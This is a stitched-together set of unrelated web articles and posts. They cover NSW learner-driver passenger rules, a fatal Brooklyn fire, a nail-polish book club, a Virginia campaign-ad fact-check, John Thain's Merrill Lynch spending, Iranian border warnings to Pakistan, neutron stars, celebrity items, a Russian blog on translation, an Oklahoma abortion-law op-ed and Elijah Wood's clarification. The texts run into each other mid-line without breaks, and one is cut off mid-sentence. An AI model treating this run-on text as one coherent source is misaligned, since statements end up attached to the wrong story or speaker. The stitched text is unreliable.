Ms Williams called for changes to NSW's graduated driving licence system that would ban large groups of teenagers from riding in cars together. She wants the existing 11pm to 5am limit (restricting P1 drivers in NSW and QLD to only one passenger under 21) to be extended across 24 hours. Victoria and other jurisdictions around the world already have this rule. Some places ban P-platers from driving at night. "I would only have one other person in the vehicle 24 hours a day," Ms Williams said. She would also like each young driver to do an advanced driving course. Ms Williams knows the road rules: she used to work for Service NSW, but had to leave after Jackson's death because it was heartbreaking to see other young people get their Ps and take it so lightly. It also "sickened her" to see people who had broken the law getting their licences back. On the night of the crash, she went to bed shortly before 9pm reassured that the nighttime restriction on passengers meant Jackson would be home soon.
If the passenger rule was extended to 24 hours, research shows the risk of such a crash would have been reduced. Associate Professor Teresa Senserrick, the author of last week's review, backed a 24-hour passenger limit. "Of all the results, it was the night passenger restrictions that seemed to come up with the most positive findings," said Associate Professor Senserrick, an expert on novice drivers with the University of NSW's Transport and Road Safety (TARS) Centre. If this passenger restriction (except for a parent or professional instructor) was in place 24-hours-a-day and night driving for P1 drivers was banned it could lead to a 20 per cent reduction of fatal crashes among provisional drivers and a 40 to 50 per cent reduction in all night crashes, the report said. Banning all P-plate drivers from carrying any friends or "peer passengers" in the first months of a P licence would lead to an additional 25 per cent reduction in crashes.
South Australia bans young drivers from carrying more than one passenger under 21 at any time of the day, and also bans red P-platers from driving between 11pm and 5am. Victoria allows only one passenger under 21 at all times of day. Professor Senserrick said the evaluation of Queensland's graduated drivers' licensing system - nearly identical to NSW's - provided evidence for the first time that Australia's unique regime of requiring L-plate drivers to chalk up 100 or 120 hours behind the wheel was a success. Researchers compared crash and injury rates of young and novice drivers in Queensland and their passengers from July 1999 to June 2012, comparing the new system with the old that ended in June 2009. Some critics had suggested that requiring learners to spend more hours on the road would increase crash rates. But on nearly every measure, young drivers were safer than in the past, particularly in the danger month after they first got their Ps, said Professor Senserrick.
NSW will consider a 24-hour restriction on P-platers' passengers The director of the NSW Centre for Road Safety Bernard Carlon said NSW's graduated licensing system had been extremely successful since its introduction in July 2000, and flagged further changes, including the extension of the night time limit of one peer passenger. In the year before NSW system was introduced, 204 people died from crashes involving a driver aged 17 to 25 years. In contrast, last year 99 people died in young driver crashes. "Although it is still 99 too many, it represents a 51 per cent reduction in fatalities," Mr Carlon said.
The government would consider the introduction of 24-hours restrictions on the number of passengers under 21 as part of its Future Road Safety Transport Plan, he said, but it would need to take into account its impact on rural and regional drivers. Mr Carlon said from November 20, NSW would require learner drivers to take the Hazard Perception test before they can progress to a Provisional P1 licence. The test is currently a requirement for Provisional P1 drivers to progress to a Provisional P2 licence. Professor Senserrick said Australia's graduated driving system was trying to protect young and inexperienced drivers at the time when they were most at risk. "For all drivers, driving at night is a higher crash risk. But for young ones, the peer passenger restrictions are in place because it really only seems to be with young people that lots of passengers increases their risk." It was much harder for a young person to tell everyone to "shut up for a second".
American research has also found that most young drivers are capable of driving safely with an adult in the car. Yet these same safe drivers will alter their driving if they have passengers who they perceive like risky behaviour. Although she wouldn't comment on the details of the Central Coast crash, Professor Senserrick said young people's brains were wired differently from an adult's. They found it hard to tune out distraction, particularly by their friends. "So when you have passengers in the car, there is the distraction of looking at them, particularly if they are in the back seat and you are looking away from the roadway." Overwhelming anger after that fatal starry night Ms Williams told Fairfax this week that some days she had so much anger it was overwhelming.
She said she thought the driver's sentence was light and did not reflect the crime. "Jackson is dead and if it wasn't for one stupid choice that night he would be living the life I had wanted for him. On the other hand if the driver had been given a custodial sentence I would have been devastated for him and his family. The court played no role in handing him the hardest sentence of all – living with fact that you killed your mate. It is just so shattering and heartbreaking for so many." Jackson – a popular and capable student and soccer player – was only a few weeks away from getting his P-plates, but that night his life was ended by one mistake by his friend. "These kids weren't into drugs, they weren't into alcohol and they were sporty, and they all come from fantastic families that nurtured them." She had known the driver since he was a boy. "He never intended to do what he did, and he has to live with the consequences. But we have also had a horrible sentence as a family."
On the night of the accident, Jackson stopped at Terrigal's famous landmark, the Skillion, and took a moody night photo. It now hangs on the wall of the family's home, an eerie reminder of that fatal starry night. "They were just hanging together, they would have been singing in the car, they were just 17-year-olds mucking about in the car, and cruising. There was nothing sinister about them," she said. The culvert which the teens drove over has been a favourite spot for generations, and residents like Lindy Hewett have been lobbying for it to get fixed.
Like many of his generation, Jackson's distraught father Mark Williams remembered going there as a teen. When the surf was flat, his mater would get airborne by flying over the culvert. Everyone his age remembered this part of the road, he told Fairfax outside the court, and there had been identical crashes only a week before the crash that killed his son. "Within seven days, ten teenagers crashed at the same spot," Mr Williams said. Mr Williams has urged Gosford local member Liesl Tesch and federal member for Robertson, Lucy Wicks, to install speed humps before and after culvert. They would be the most effective way to prevent drivers from getting the " little rising belly feeling" that gave them a thrill, he said.
A petition started by Ms Hewett on Change.org backs the call for changes. The petition was presented to Parliament by Ms Wicks, who said this spot on Willoughby Road had been the scene of 20 incidences over the last decade, including 12 resulting in injuries and one fatality. She promised change: "While we know that this cannot be fixed overnight, my commitment is that I am certainly not going to rest until it is done and I know our community will not allow us to rest until it is done either," Ms Wicks said at the time. So far, though, no changes have been made, said Ms Hewett.A windswept, five-alarm fire that killed an elderly Brooklyn woman was started by candles placed on the floor near a bed while a man and woman were having sex after a voodoo ritual, sources said today.
Fire marshals determined that the Feb. 20 blaze at 346 East 29th St. in Flatbush escalated to a fifth alarm because of an open door and delays, but that it was all started by black magic.
“Time and time again we respond to tragedies that could have been so easily prevented,” said FDNY Commissioner Sal Cassano. “This fire had so many of those elements — candles left on the floor near combustible material, one of the occupants trying to douse the flames before calling 911 and an open door, which allowed fire to spread into the hallway. Hopefully others will learn from this tragedy.”
Retired guidance counselor Mary Feagin, 62, who lived on the sixth floor, died in the fire.
Fire Marshals said the blaze began around at 6:40 p.m., when a Brooklyn woman visited a fourth-floor apartment in the building, where she paid one of the male occupants $300 to perform a voodoo ceremony aimed at bringing her good luck.
After the ceremony, sources told The Post that the couple decided to have sex.
The fire was sparked after the couple knocked over the candles that were arranged on the floor around the bed, igniting the bed linens and clothes on the floor.
Instead of calling 911, sources said a second man who was also in the apartment “began retrieving water from a bathroom sink in a futile effort to put it out, but the flames only grew.”
As smoke began to gather in the apartment, the man then opened a window and propped open the door to the hallway in an attempt to dissipate the smoke.
Wind gusts of 40 mph “shot the flames back inside, creating a blowtorch effect as winds whipped in through the open window and pushed fire out into the hallway. The occupants fled the apartment, leaving the door open,” the FDNY said.
Fire engulfed the fourth, fifth and sixth floors, causing part of the roof and fourth floor to collapse. Nearly 200 firefighters took almost seven hours to bring the fire under control.About a month ago Lindsey over at Wondrously Polished started a facebook group called 'The Polished Bookworms' where each month we read a book, have a discussion, and then we all post themed manis based on the book. This month we read Liane Moriarity's Big Little Lies. If you haven't read it...it's a fun book with a huge twist at the end. Give it a go!
I chose to start with a base of Pretty & Polished's Blue Jean Baby. This is an aqua base filled with turquoise micro-glitters, pink squares, little round purple glitters, and turquoise diamonds. This polish choice was based off of my favorite character Madeline who wears turquoise polish and loves everything pink and girly.
I then used acrylic paints to try and recreate the American version of the book cover on my fingers. I'm not the best at free handing intricate little designs, but I gave it a go. I'm sure Lindsey will blow me away. But take a look anyways....
*self purchased
Be sure to check out all the other ladies who are participating below. We all had great fun reading the book together. I can't wait to see everyone's inspired looks. Next month we're reading The Maze Runner. If you care to join us, visit the Facebook Page Enjoy & until next time, Amy LeeThe Republican candidate for Virginia governor, Ed Gillespie, is on the airways with another deceptive radio ad that accuses his Democratic rival, Ralph Northam, of voting for sanctuary cities — despite the fact that Virginia has none — and tries to tie that to increasing fears over the MS-13 street gang.
“Ralph Northam cast the deciding vote in favor of sanctuary cities that let dangerous illegal immigrants back on the street, increasing the threat of gangs like MS-13,” the ad stated. “We have to ban sanctuary cities and deport dangerous illegal immigrants who commit crimes, starting with ruthless MS-13 gang members.”
Couldn't link to the MS-13 ad, but here's a transcript. As a reminder, Gillespie agrees Virginia doesn't have sanctuary cities #VAGov pic.twitter.com/1qBdHTVeCE — Fenit Nirappil (@FenitN) October 4, 2017
Gillespie’s add is wrong on two counts. First, Northam never cast the deciding vote to establish sanctuary cities — cities that choose not to comply with federal immigration authorities. In February, the Republican-controlled General Assembly considered whether to ban sanctuary cities in Virginia, and Northam, the lieutenant governor, only voted because there was a tie — due to the Republican Majority Leader Thomas K. Norment breaking ranks and voting against the ban.
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The bill was then debated for a second time and passed with Norment’s support, only to be vetoed by Gov. Terry McAuliffe (D).
Second, none of Virginia’s cities are at odds with the administration’s current immigration laws. “If the definition [of a sanctuary city] is a city that defies immigration law, then Virginia has no sanctuary cities,” a report on Virginia Public Radio pointed out. “If the definition is that a city refuses to detain some immigrants until federal officials can pick them up, Virginia has several of those. But they’re not violating any law by refusing to hold suspects without a warrant.”
In fact, in the first gubernatorial debate, Gillespie himself conceded “we don’t have any” sanctuary cities.
I’ll ensure that sanctuary cities-safe havens for violent criminals here illegally-are never allowed & work to eradicate gangs like MS-13. pic.twitter.com/gIhzUB64UK — Ed Gillespie (@EdWGillespie) September 20, 2017
Gillespie has done his best to link Northam to the violent Salvadorian street gang, releasing four ads in September that accused Northam of putting Virginia families at risk from MS-13. Democrats have fiercely criticized the ads, saying they can be compared to the 1988 “Willie Horton” ad in their attempt to prey on racist fears of minority criminals.
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Gillespie has also come under fire from El Salvador, when it emerged he took a photograph from Salvadorian news site El Faro without their permission and used it in one of his attack ads. “El Faro did not authorize [Gillespie’s] use of the photograph” reporter Roberto Valencia told ThinkProgress. The picture also doesn’t show MS-13 members, rather a faction of the 18th Street gang, and was originally taken in 2012.
Where we are at in the Virginia governor's race. Latest Ed Gillespie ad links Northam's opposition to sanctuary cities ban to MS-13 pic.twitter.com/mL1TqAwTYL — Fenit Nirappil (@FenitN) September 20, 2017
MS-13 started as an immigrant street gang in Los Angeles during the 1980s. Many of the members were deported back to El Salvador in the 1990s which led a dramatic upswing in violence in the impoverished nation. There have been several high profile MS-13 murders in the U.S. in the past two years, including in Long Island and North Virginia, but police also say that hardline immigration enforcement makes it harder to gather information about the murders from the community.
“The problem is if [police] comply with what the administration is calling for, they potentially undermine the trust and collaboration needed to stop gang violence and other crime within immigrant communities,” former Homeland Security official John Cohen told ABC News.Less than one month into his new gig at the Bank of America, Merrill Lynch CEO John Thain resigned today after it was revealed that he doled out executive bonuses a month ahead of schedule and just days before his struggling Merrill Lynch firm was acquired by the BofA.
Although no reason was given for his resignation, a spokesman for Bank of America, which acquired Merrill Lynch at the beginning of this year in a government-negotiated deal to save it from collapse, issued a statement saying: "(BofA Chairman and CEO) Ken Lewis flew to New York today to talk to John Thain. And it was mutually agreed that his situation was not working out and he would resign."
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The amount in bonuses paid out was between $3 and $4 billion, according to the Financial Times. Exorbitant Wall St. bonuses have garnered increased attention since the economic collapse and subsequent billions in bailout funds have gone to help companies stay afloat.
Bank of America, which received $25 billion in bailout funds before being handed an addition $20 billion last week, said Thursday that it knew Thain gave the incentives ahead of time.
"Merrill was an independent company until Jan. 1 of 2009," said spokesman Scott Silvestri. "John Thain decided to pay year-end incentives in December, as opposed to their normal date in January. Bank of America was informed of his decision."
Report Says Thain Spent Over $1 Million To Redecorate Office
To make matters worse, Thain is now facing more criticism for reportedly spending $1.2 million to lavishly decorate his Merrill Lynch office early last year while the firm was fighting to survive.
Thain splurged on interior designs from the Obama's chosen White House decorator Michael Smith ($800,000), two area rugs ($131,000), two guest chairs ($87,000), a 19th Century credenza ($68,000), four pairs of curtains ($28,000), and a mahogany pedestal table ($25,000), according to Charlie Gasparino, the CNBC contributor and Daily Beast columnist who broke the story.
Other items mentioned: six dining room chairs ($37,000), a George IV Desk ($18,000), a custom coffee table ($16,000), a sofa ($15,000), a chandelier ($13,000), a mirror ($5,000), six wall sconces ($2,700).
Also reported to be on the list was a trash can for $1,400.
Thain's lavish spending shows that even as the gilded age of Wall St. comes to an end, he "occupied this rarified strata on Wall Street" and "just didn't get it," said banking industry analyst Nancy Bush. "It's time for all this to be gone because the reality needs to set in on Wall St. that the business has changed for the foreseeable future, if not forever," Bush added.
Thain's Decorator Chosen by Obamas for the White House
Thain apparently didn't get much of a deal – the First Family is paying Smith just $100,000 to decorate their new presidential home, according to the report.
Merrill Lynch and Smith did not immediately respond to calls from ABCNews.com seeking comment. Thain could not be reached.
Thain, a Harvard MBA, was named Chairman and CEO of Merrill in November 2007. The following January, the firm announced record-breaking losses of over $8 billion. By April the troubled investment bank had said it would lay off as much as 10 percent of its workforce.
Senators Say Exhorbitant Spending Needs to Stop
Senator Bill Nelson (D-FL) said Friday that Thain's office remodeling was just the last straw of "inconceivable and irresponsible and inexcusable behavior" shown by Wall St. corporations.
Nelson is one U.S. Senate member who said this type of spending prompted legislation, introduced Friday, that establishes clear guidelines on how corporations can use federal bailout funds and increases accountability and transparency in spending.
"For the folks all across America who are experiencing these daily financial difficulties and losing their jobs and their business and their companies, and then to see that their money is being wasted excessively by greedy Wall St. executives – this has to stop," said Nelson.
The Troubled Asset Relief Program Transparency Reporting Act would prohibit companies from using bailout dollars to |
Theory, political and legal drama The Good Wife, crime drama NCIS and legal drama The Practice, News.au reported.
However, she added that the State Administration of Press, Publication, Radio, Film and Television didn't give a reason for its order.
The move is a glaring reminder of the increasing government control on the online industry, which otherwise enjoys far more freedom than the country's state television and cinemas when it comes to showing foreign productions.
Meanwhile, an unnamed senior manager at another site said that it received a surprise order to "clean the website" last week, the report added.Foreign Policy
IRGC Commander Censures Pakistan for Lax Border Security
TEHRAN (FNA)- Lieutenant Commander of the Islamic Revolution Guards Corps (IRGC) Brigadier General Hossein Salami warned that Iran will step in to contain the Pakistan-based terrorists if Islamabad refuses to take action to secure its borders and prevent the terrorists from slipping into the Islamic Republic.
“We believe that every country should respect its commitments vis-à-vis its own internal security as well as that of neighboring countries," General Salami told reporters on Thursday.
He noted that border security is a common and pressing need for neighboring countries. "We are, in principle, against intervening in the affairs of any country, but if they fail to abide by their obligations we will have no choice but to act,” General Salami said.
"Terrorists, wherever they may be, even on the soil of neighboring countries, we will find them, and if they do not give up acts of terrorism, we will deal with them without reservation.”
He reiterated that the IRGC has an intimate knowledge of the status of terrorist groups in the region.
“We monitor all activities by terrorists,” Salami said, adding, “Establishing an intelligence control is the best strategy which can contribute to the promotion of security."
Iranian officials have been blaming Pakistan for its lax control in bordering areas near Iran. Terrorist groups use Pakistan's bordering areas as a platform for staging attacks on Iran.
In the most recent case, four Iranian police officers, including a conscript, were killed in two terrorist attacks on a border post in the Southeastern province of Sistan and Balouchestan earlier this month.
The tragic event took place in the vicinity of the city of Saravan near the border with Pakistan earlier in October.
"We are now trying to identify the terrorists," Iranian Police Chief Brigadier General Esmayeel Ahmadi Moqaddam told FNA last Thursday.
Stressing that Tehran will protest at Pakistan for its lax control over the bordering areas with Iran, he said, "This is not acceptable that the terrorists use Pakistan's soil to hit (Iran)."
"Anyway, preventing such incidents is their responsibility," Ahmadi Moqaddam stressed.
The second terrorist raid came less than 24 hours after the first one. Police have launched a probe to identify the perpetrators of the terror attack.
Then on Saturday, the Iranian interior ministry held Islamabad accountable for the terrorist attacks that claimed the lives of several policemen in Southeastern Iran recently.
"We don’t expect the Pakistani government (to allow) the terrorist operations will be held against Iran from the Pakistani soil," Interior Ministry Spokesman Hossein Ali Amiri told reporters in Tehran on Saturday.
He called on the Iranian foreign ministry to take more active measures in contacts with Islamabad to make the Muslim neighboring state in order not to allow their country become a launchpad for terrorist operations against Iran.
Yet, the spokesman said the terrorist attacks did not have any military value as they were only some hit-and-run operations by the terrorists who sneak into Iran from a neighboring state, carry out terrorist operations and then escape to the same country.
Amiri called for Pakistan's serious cooperation in preventing terrorists' infiltration into the Iranian soil, and said, "The Pakistani government should be held accountable for the terrorist operations."
Sistan and Balouchestan Province has been the scene of a number of terrorist attacks in recent years, after Western Pakistan became a terrorist hub for various anti-Islamabad and anti-Iran militant groups.
On February 6, Jaish al-Adl terrorists kidnapped five Iranian border guards in Jakigour region in Sistan and Balouchestan and took them to the Pakistani territory.
In a message on April 6, Iran’s Interior Minister Abdolreza Rahmani Fazli said efforts by security and diplomatic bodies as well as locals had borne fruit and four of the abductees were freed and reunited with their families.
On October 25, 2013, Jaish al-Adl terrorist group killed 14 Iranian border guards and wounded six others in the border region near the city of Saravan in Sistan and Balouchestan Province.
In February 2013, Iran and Pakistan signed a security agreement under which both countries are required to cooperate in preventing and combating organized crime, fighting terrorism and countering the activities that pose a threat to the national security of either country.
Iran has repeatedly called on Pakistan to comply with the terms of the agreement.Planet Earth is quite heavy. It weighs 6,000,000,000,000,000,000,000,000 kilograms, give or take. In astronomical terms, though, Earth is a featherweight.
Imagine taking half-a-million Earths, and squishing them together into a space about 10 kilometres across. Such compact and absurdly heavy objects do exist out there in space.
Neutron stars are the smallest, densest objects known to science. Neutron stars are the collapsed cores of stars that have exploded in violent supernovae. They are among the most extreme, fascinating, and potentially useful astronomical objects out there – and it is believed there are 100 million of them in our galaxy alone.
To commemorate the 50th year of the discovery of neutron stars, here is some light reading (and some viewing, thanks to neutron star expert Victoria Kaspi) about these preposterously heavy things.
Watch: Victoria Kaspi and the lifetime of a pulsar
Watch: The Pulsar Timing Array
Listen: What does a neutron star sound like?
Watch: More fascinating facts from Victoria Kaspi
Watch Victoria Kaspi’s full talk, “The Cosmic Gift of Neutron Stars”Is there any look Gwen Stefani can't rock?
The 46-year-old "Misery" singer took to Instagram Thursday night to share a barefaced selfie with her four million followers. In the pic, which was posted without a caption, Stefani isn't wearing an ounce of makeup, proving once and for that she's a natural (and ageless!) beauty.
WATCH: Blake Shelton Admits Writing Country Duet With Gwen Stefani Was a Way to 'Impress' Her
Fans were quick to comment on the snap, writing things like, "Wow! Blake [Shelton] is a lucky man to wake up to that!!!" "Such a beauty!!!" and "You look so pretty with no makeup."
The No Doubt frontwoman also shared a selfie one day earlier, and while she appears to be wearing some makeup, her look was a lot more natural than her usual all-glammed up face.
On Monday, Stefani pulled out all the stops with her beauty look when she appeared on "The Voice" with her boyfriend, Blake Shelton. She styled her hair back into a high ponytail, and flaunted a bright pink pout and sky-high lashes.
NEWS: Blake Shelton and Gwen Stefani Will Perform Together at the Billboard Music Awards
Stefani and Shelton, 39, took the stage to perform their first-ever country duet, "Go Ahead and Break My Heart," a track off Shelton's newest album, "If I'm Honest." While singing, the adorable duo appeared more in love than ever as they gazed into each other's eyes from beginning to end.Hard To Be a Translator
Сегодня волею судеб листал новый перевод "Трудно быть богом" на английский (Олены Бормашенко, вышел в этом году, с Ярмольником на обложке; еще в августе, кстати, экземпляр лежал в англоотделе зингеровского Дома книги в Питере).
В целом, как по мне, отлично. По крайней мере, я - сверяясь с памятью, конечно, - не нашел ни одного выпущенного места. Но, конечно, текст для переводчика местами - засада.
Это мы все понимаем, что он насквозь ироничен, потому что мы, взрощенные в советской русскоязычной культуре люди, чуем интонации. Отчасти мы их чуем грамматически. Ну например: Сердце мое полно жалости, - медленно сказал Румата. - Я не могу этого сделать. Сравните со стандартным: "Мое сердце полно жалости". Чуете? Чуете. Первый вариант - поэтический, он закономерно отсылает к высокому слогу, в том числе священных книг, что для Руматы, который в данном диалоге за Бога, правильно и верно. А вот английское "My heart is full of pity" - оно стандартное. Причем я не уверен, что тут уместнее было "The heart of mine..." Я не знаю, что тут было бы уместнее, я не чую английский так хорошо. Но в итоге картинка снижена.
Отчасти мы чуем интонации, потому что АБС используют штампы. У АБС вообще колоссальное количество штампов, и они (АБС) с этими штампами всегда умели работать. Не отсекать по принципц "ах, это штампы", а работать, потому что штампы - это живая речь. (Учитесь, МТА.) Скажем: "Благородный дон, большого ума мужчина..." Ср. "мужчина большого ума", которое в принципе может быть позитивным - но чаще тоже негативно. А уж "большого ума мужчина" - иронично по определению, по интонации. Олена Бормашенко перевела это место как "The noble don, a man of great sagacity..." - и я скорее уверен, что это ни разу не ироничное определение в английском. Поправьте меня, если что, но я тут вижу стандартное позитивное утверждение: "Человек-мужчина большой мудрости". У англофона отсылка тут возникнет как максимум на Эмерсона (Ральфа Уолдо): "Fear is an instructor of great sagacity and the herald of all revolutions". Ну так это, блинский блин, всурьез сказано. (В книжке, конечно, важен еще контекст. И все-таки.)
Местами английский попросту играет дурные шутки с текстом....Ибо сказано: "Не обнажай в тавернах". Тут пропущен объект, и мы все понимаем, что в сочетании с глаголом это жутко ржачно. Это место в переводе я не записал, там очень неплохо сделано под библейские заповеди, кажется, "Thou shalt not..." - но там есть объект, the blade (или a blade? не помню). Там нельзя без объекта. Но с объектом это уже не то.
Вот еще про интонации: - "Споспешествование"... - прочел он. - Мудрецы! С какой интонацией мы читаем "мудрецы"? Я думаю, все с одной - насмешливо-ироничной. "Ах ты наша умница". В переводе: Refacilitation, - he read out loud. - What wisdom! Это насмешка? По-мо, нет, по крайней мере, не автоматом. "Какая мудрость!" Ну да, но. Но.
Ну и - о непереводимом. То бишь о диалоге Ваги Колеса и дона Рэбы. Тут виден переводческий метод, он своеобразен, я ничего не могу о нем сказать. Без авторского текста:
- Выстребаны обстряхнутся и дутой чернушенькой объятно хлюпнут по маргазам. Это уже двадцать длинных хохарей. Марко было бы тукнуть по пестрякам. Да хохари облыго ружуют. На том и покалим сростень. Это наш примар...
- Студно туково.
- Таков наш примар. С нами габузиться для вашего оглода не сростно. По габарям?
- По габарям.
- И пей круг.
- The chonted will shlake and they'll unbiggedly shump the margays with a hollow blackery. That's twenty long heapers already. It'd be marky to knork the motleners. But the heapers are bedegging redderly. This is how we'll heaten the rasten. That's our struntle.
- That's tooky jelly.
- This is our struntle. Denooting with us isn't rastenly for your gnawpers. It's revided?
- It's revided.
- And drink the circle.
Тут даже несколько методов (и не на все мне хватает английского). С одной стороны - реже - попытка именно что перевода: хохарь = heaper (от глагола "загромождать, насыпать в кучу"), по габарям - revided (не знаю, но звучит), тукнуть = knork (стукнуть = knock). Дутая чернушенька = hollow blackery и пей круг = drink the circle - чистый перевод, но тут и этимологически что-то понятно: вопрос решен, пустим чашу по кругу.
С другой - чаще - калька. Марко = marky. Маргазы = margays. В итоге появляются гибрилы: студно туково = tooky jelly; tooky, потому что туково, а jelly - желе, студень, - потому что студно. И вот тут я не уверен. У АБС я вижу очень четко по преимуществу один ход: воспроизведение знакомых интонаций типа-абсурдной фонетикой. Что такое "студно туково"? Я это всегда чуял так: студно - очень, весьма; туково - сложно, заморочисто, может быть, даже дорого, короче, некое препятствие. И я не уверен, что tooky jelly это дело передает. Хотя, конечно, фраза налицо: некий, мол, студень у вас, в котором мы увязнем.
Ну и мое любимое: Вот он, Голый Дьявол, знаменитый эсторский палач-расчленитель - Here he is, the Naked Devil, the famous Estorian torturer and mutilator. По-английски он не палач-расчленитель, а тот, кто пытает и калечит. Не тот смысл немного. Хотя, наверное, лучший вариант из возможных.
Но это частности. Причем частности непростые. В целом впечатление от пролистанного более чем положительное.
А, да: спрут (в стихотворении) заменен на дракона, увы.Imagine this scenario:
Your 15-year old daughter is running through the park when she's overpowered, yanked into the bushes and forcibly raped at knifepoint. She escapes with cuts, bruises, and a nasty case of PTSD, but being a good parent, you have the rape kit done, police report filed, and then take her home and set up the appointments to deal with the aftermath.
A few weeks later, she misses her period and has a positive pregnancy test. There's no doubt in her mind or yours that an abortion is the only option that makes sense. You schedule the appointment, and take her in for the procedure. She changes into the thin paper gown, the doctor comes in for a moment, and tells her to relax, it'll just be a moment for the ultrasound tech to come in for the required transvaginal ultrasound.
Say what? It's a D&C, not a well mother checkup. What the hell is going on here? Oh, wait. I forgot to add this part: You live in Oklahoma, and in Oklahoma, some of the most misogynistic, mean-spirited, man-birthed abortion laws have just been passed by the Oklahoma State Senate.
The Oklahoma Senate approved several bills Monday that opponents say would make it more difficult or uncomfortable for women to get abortions, including one that would require women seeking the procedures early in their pregnancies to undergo an invasive form of ultrasound. The five bills, some of which will go to Gov. Brad Henry for consideration and others which will return to the House, were overwhelmingly approved by the Republican-controlled Senate. If given final approval, the bills would give Oklahoma some of the most restrictive laws of any state, an abortion rights group says. One of the laws headed to the governor would require doctors to use a vaginal probe in cases where it would provide a clearer picture of the fetus than a regular ultrasound. Doctors have said this is usually the case early in pregnancies, when most abortions are done.
We just had a 15-month debate about health care reform. Part of that debate was all about letting doctors be doctors because we all know that a government takeover of health care is a BAD BAD THING. In fact, it was US Senator Tom Coburn (R-OK) who argued longest and hardest about how terrible it would be to have government "get between you and your doctor", right?
In the land of tea and whine-fests where conservatives live, it's only a bad thing when Democrats think of it. When Republicans decide that a more-expensive, invasive vaginal probe is something that will "provide as much information as possible" before they have the procedure, costs be damned.
I won't even address the sinister psychology of their stupid law. They'd spend a zillion dollars to marginalize women and prevent one abortion even if the kid starved in the street afterward, because Lord knows they hate entitlements of all kinds, especially in Oklahoma, where 20% of kids live in poverty.
But wait, there's more:
The other abortion measures would require women to complete a lengthy questionnaire before receiving an abortion, mandate certain signs be posted in an abortion clinics and prevent so-called "wrongful-life" lawsuits in cases where a parent might argue that a child with birth defects or other problems would have been better off aborted. Another bill would prohibit state insurance exchanges, created under the new federal health care law, from covering abortions.
And still more:
Another bill would require a woman seeking an abortion and her doctor to complete a 38-question form that asks, among other things, the woman's age, race, education, number of previous pregnancies and reason for seeking an abortion.
So, in Oklahoma, an old geezer with 18 kids and three wives can roll into the doctor's office and get a Viagra prescription, but a woman who has been raped or abused, or who has just exercised her Constitutional right to choice under the laws of this nation cannot receive medical treatment without a 38-question form invading her privacy, humiliation and judgment in the form of "mandatory signs", and an expensive vaginal probe?
Alrighty then. Got it. My advice would be to get the hell out of Oklahoma and don't look back if it were my daughter. That, and start making contributions to organizations like NARAL who will stand and fight in court to turn these idiotic, hateful laws back for good.
Oklahoma, Utah, Kansas, and other states contemplating laws that clearly discriminate against women know they discriminate. They want them to be challenged and they want a chance to re-litigate Roe v. Wade in the hopes of overturning it altogether with a Supreme Court more...conservative.
I hope President Obama chooses his Supreme Court nominee with these battles in mind. It's clear they're throwing whatever they can at the wall to see what sticks. Let's hope none of it does."The Sunday Times interviewed me about my latest film, but the story became about something else entirely," Wood says.
Elijah Wood would like to make one thing clear: He has no firsthand knowledge of child sex abuse in Hollywood. That clarification, issued by Wood exclusively to The Hollywood Reporter, comes as he finds his name making international headlines for unintentional reasons.
During a recent sit-down with the Sunday Times, ostensibly to promote The Trust, a heist movie co-starring Nicolas Cage, the actor took a brief detour when the subject of Jimmy Savile came up. Savile, a famed DJ with the BBC, was found after his death to have been responsible for nearly six decades of sex abuses perpetrated against as many as 400 boys and girls, many of whom were under the age of 10.
Wood, 35, said of Savile's victims, "Jesus, it must have been devastating." But he followed that with a more ominous statement: "Clearly something major was going on in Hollywood. It was all organized. There are a lot of vipers in this industry, people who only have their own interests in mind."
"There is darkness in the underbelly," Wood continued. "If you can imagine it, it’s probably happened."
Those startling comments — fleshed out with past allegations made by Corey Feldman and the estimates of one child-actor advocate that Hollywood is "currently sheltering about 100 active abusers" — formed the basis of a sensational Times article entitled, "Hollywood's Evil Secret."
The quotes have been picked up by dozens of news outlets with stories framing Wood as having come clean about dark and long-held secrets. ("Elijah Wood: Hollywood Is Full of Pedophiles," read one Daily Beast headline.) But Wood tells THR that his comments have been wildly misinterpreted, and that his only knowledge of child sexual predation in Hollywood comes from news reports and the 2015 documentary film An Open Secret, directed by Amy Berg.
"The Sunday Times interviewed me about my latest film, but the story became about something else entirely," Wood says. "It prompted a number of false and misleading headlines. I had just seen a powerful documentary and I briefly spoke with the reporter about the subject, which had consequences I did not intend or expect. Lesson learned.
"Let me be clear: This subject of child abuse is an important one that should be discussed and properly investigated. But as I made absolutely clear to the writer, I have no firsthand experience or observation of the topic, so I cannot speak with any authority beyond articles I have read and films I have seen," Wood continues.
If anyone could be privy to such crimes, it would be Wood. The boyish, saucer-eyed actor, best known for enduring Gollum and fending off orcs in The Lord of the Rings trilogy, has been working steadily in Hollywood since childhood. The son of deli owners from Cedar Rapids, Iowa, Wood was raised Roman Catholic — an institution whose own child abuse scandals have been dramatized in the Oscar-winning Spotlight, among other films.
He started out as a child model and commercial actor, and the family moved to Los Angeles in 1988 for his career. It wasn't long before Wood landed his first break, appearing in the Paula Abdul video for "Forever Your Girl," directed by none other than David Fincher. By the early 1990s, he was starring in Hollywood features like Radio Flyer and The Adventures of Huck Finn.
But despite his time in the child-actor trenches, Wood stresses that his observations about "vipers" preying on show business minors were based not on personal knowledge but rather from events detailed in Berg's film. (The Times story does specify that his mother shielded him from such dangers and forbade him from attending Hollywood parties as a youth.)
Secret follows five former child actors who allegedly fell victim to sexual predators while trying to make it in Hollywood. Among the accused is Marc Collins-Rector, the infamous co-founder of Digital Entertainment Network — a studio that amassed nearly $100 million in investment from the likes of David Geffen and Michael Huffington, but which is perhaps best known for allegedly throwing raging gay Hollywood parties. The movie alleges that dozens of teen boys were sexually assaulted at these parties, a claim that has been disputed by former staff, guests and a resident of the Encino estate at the heart of the allegations.
After being indicted in 2000 by a grand jury, Collins-Rector fled to Spain but was arrested two years later. Guns, machetes and child pornography were found among his belongings. Collins-Rector was eventually extradited to the U.S., pleaded guilty to federal child sex charges and was ordered to register as a sex offender.
Also in 2000, three teenagers, including a sometime model named Michael Egan, sued the DEN founders, accusing them of committing "rape, assault and death threats" against minors. That suit resulted in a default judgement against Collins-Rector, with claims against the other two co-founders dismissed or settled out of court. Egan filed lawsuits again in 2014, claiming he was sexually assaulted at DEN parties and in Hawaii by director Bryan Singer, among other Hollywood executives. His case collapsed in a matter of weeks and he was successfully countersued, with Egan’s lawyers publicly apologizing for their client's "untrue and proveably false allegations" and paying a seven-figure settlement. Egan escaped liability by filing bankruptcy, but subsequently pled guilty in a fraud case and served time in federal prison for a five-year scheme in which he lied to investors and forged documents.
